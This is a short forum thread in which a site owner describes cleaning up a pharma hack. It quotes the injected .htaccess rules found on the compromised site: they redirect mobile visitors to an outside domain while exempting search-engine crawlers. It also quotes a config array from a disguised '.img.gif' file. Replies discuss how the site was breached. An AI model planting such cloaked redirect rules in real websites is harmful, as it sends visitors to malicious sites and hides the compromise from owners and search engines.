Serv Hosting & Viagra

darksidehippo

Active Member
Joined
Jan 4, 2012
Messages
66
Reaction score
0
serv.png


They really do go that extra mile! :)
 
I am trying to help someone with this same Pharm-Hack.

I found this in the .htaccess file:

RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|windows\ phone) [NC]
RewriteCond %{HTTP_USER_AGENT} !(accoona|ia_archiver|antabot|ask\ jeeves|baidu|dcpbot|eltaindexer|feedfetcher|gamespy|gigabot|googlebot|gsa-crawler|grub-client|gulper|slurp|mihalism|msnbot|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|yahoo!\ slurp|mmcrawler|yandexbot|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer) [NC]
RewriteRule (.*) http://operarussia.net/u/3259 [L,R=302]

Then I also found a file called .img.gif which contains:

$conf = array (
'f7dbe6fa36cfa4a0689e08a409540c9c' => '0:1342918429',
);

I have deleted the 'GIF' file & replaced the .htaccess file.

The problem only affects Google searches, nothing on Bing or Yahoo.

How can I speed up a reindexing on Google & is there anything else I can check to make sure that the website is now clean?!?
 
How can I speed up a reindexing on Google & is there anything else I can check to make sure that the website is now clean?!?

You need to figure how *how* the .htaccess file was changed. Did your ftp account credentials get busted? Does the website code allow writing any kind of files? Did they get php shell going? Find out how, and then make sure that can't happen again.
 
Top
Sign up to the MyBroadband newsletter
X